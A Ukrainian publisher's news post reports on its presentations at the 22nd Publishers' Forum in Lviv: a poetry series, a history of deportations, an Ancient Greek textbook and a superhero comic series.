http://www.barabooka.com.ua/uyavnij-dobrij-i-duzhe-vchasnij/

 

Підсумки 22 Форуму видавців у Львові

Презентації, зустрічі, розмови, магія поезії, книги, події, люди, неповторні враження – усе це було на цьогорічному Форумі видавців у Львові... Цих декілька днів – це надто мало, щоб встигнути відвідати всі заходи та побачити всі новинки. Видавництво «Букрек» провело багато цікавих зустрічей та презентацій.

Вже вшосте ми разом з Міжнародним благодійним Фондом «Україна 3000»  представили  у Львові нову книгу серії «Третє тисячоліття: українська поезія». В ній виходили книги лауреатів Шевченківської премії Василя Герасим'юка, Анатолія Кичинського, Ігоря Римарука, чернівецької поетеси Інги Кейван. Цього разу вперше до читача приходить творча спадщина шістдесятника Григорія Тименка, яка існувала лише в примірниках самвидаву та рукописах.

Презентація книги відбулася на філологічному факультеті Львівського національного університету ім. Івана Франка. Науковцям та студентам представили новинку. А всі книги серії директор видавничого дому "Букрек" Дарина Максимець подарувала для наукових досліджень у бібліотечку кафедри української літератури.

Олександр Максимчук, представник фонду "Україна 3000", зауважив, що культура обов’язково переможе війну.

Автор ідеї серії "Третє тисячоліття: українська поезія" Мирослав Лазарук був на Форумі нагороджений премією і дипломом від компанії "Обнова Єврошоп".

Надзвичайна радість для авторів і видавництва «Букрек» – завершення потужної багатолітньої праці «Від депортації до депортації». Професор Юрій Іванович Макар був справжнім іменником.  Гості ще довго спілкувалися з автором за межами презентаційної зали, а він, у свою чергу, подарував деяким з них третій том книги. Треба подякувати історичному факультету Львівського національного університету імені Івана Франка. Ось де по справжньому вміють радіти успіхам колег, навіть з іншого міста!

У тріумф видавництва «Букрек» і авторів Роксоляни Оліщук
та Іннеси Макар перетворилась презентація підручника «Давньогрецька мова». Вона відбулася на факультеті іноземних мов Львівського національного університету ім. Івана Франка. Добрі слова звучали на адресу дизайнера видавництва "Букрек" Ігоря Стусика, який зумів не лише художньо підкреслити структуру навчального і довідкового текстів, а й проілюструвати їх так, що підручник перетворився у захоплюючу книгу.

Цікавою та пізнавальною була презентація серії коміксів «Українські супергерої», другий випуск якої видавництво «Букрек» випустило нещодавно. «Невидимий острів» одразу знайшов своїх шанувальників, а автор Леся Воронюк та художниця Софія Розуменко залюбки поспілкувалися з гостями і поділилися планами на майбутнє.